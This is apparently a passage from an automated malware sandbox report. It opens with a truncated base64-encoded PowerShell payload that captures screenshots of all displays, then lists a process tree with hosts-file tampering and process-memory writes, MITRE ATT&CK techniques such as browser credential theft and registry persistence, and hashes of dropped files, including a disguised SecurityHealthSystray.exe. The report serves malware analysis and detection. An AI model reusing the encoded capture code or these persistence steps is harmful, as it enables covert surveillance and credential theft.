UAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4156

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z2jqnmzm\z2jqnmzm.cmdline"
3⤵
PID:2224

C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:4428

C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
2⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:5028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

4

T1552

Credentials In Files

4

T1552.001

Discovery

Browser Information Discovery

1

T1217

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e59140d6693b6a0f6a8617b45bdef9fe

SHA1
7157a22b2533d10fe8ed91d2c5782b44c79bbcde

SHA256
baeb07292d7c8d7ba665a29178999ea08d4b26e8d05bb29c6dee8b8dad8de27e

SHA512
117494cb9415e968827ec38ff11fe6eb4781a76476a2a580f08c5f2d5d4f7ccac425dfd81c16536342a32b42a7b3dffdf471dd2666b1a11ded9f57108c6df7b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ayype3ri.kwn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.8MB

MD5
723849fc46caf8f8dbf447ac050b8c31

SHA1
fc29e9028c005f3bc71e31b71f1aedd427ac5b7b

SHA256
ec2194ba8928a1ccf8bf098d23e25ff971b1e48db67bcf7417119aee667c93cc

SHA512
229435357b7f4d90756a457cfe2d21c8a2d819723745a2fd0d0f120a6560832e92706814cb8eaeb615bbe13cb8b6cf6446f2309e3ac63f517627d6b5f1a3f2cf

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z2jqnmzm\z2jqnmzm.0.cs

Filesize
989B

MD5
e05565544d17d446f3e0532be5cb77db

SHA1
c931aa2ac27c293d36505523b198844d4d8a3524

SHA256
05f2a75e88e7ba4622f80a8b22ee83bae77de6853eb95c3e43f269e32d261509

SHA512
046970d59cd2a0321d45d23122e4cfa3cc460cee399183efc583a5abfcf51eb76488ac87cce4ff2bad2ab54d417231473556f50866adcab6787995dbbb04c68d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z2jqnmzm\z2jqnmzm.cmdline

Filesize
607B

MD5
4d453c26c004b3bdb80e69d0b3661429

SHA1
8f985d393a54af430bb1aa1bb911678b153e740f

SHA256
a897aef5fd196a1587668786b08cf0c661ccc3974c1832bff6775c9282be4745

SHA512
29d80d442f3dd9d5d0b55e0583b20eec0456cca3d4a9a0805b5cc72f39486d9155479392aa7dd91fa8c20e17537bd3a068a045f995bf16572639bf893fb37f28

Download Submit
memory/1120-17-0x00007FFEBCFA0000-0x00007FFEBDA61000-memory.dmp

Filesize
10.8MB

Download
memory/1120-26-0x00007FFEBCFA0000-0x00007FFEBDA61000-memory.dmp

Filesize
10.8MB

Download
memory/1120-19-0x00007FFEBCFA0000-0x00007FFEBDA61000-memory.dmp

Filesize
10.8MB

Download
memory/1120-20-0x000001DC7C650000-0x000001DC7C672000-memory.dmp

Filesize
136KB

Download
memory/1120-7-0x00007FFEBCFA3000-0x00007FFEBCFA5000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads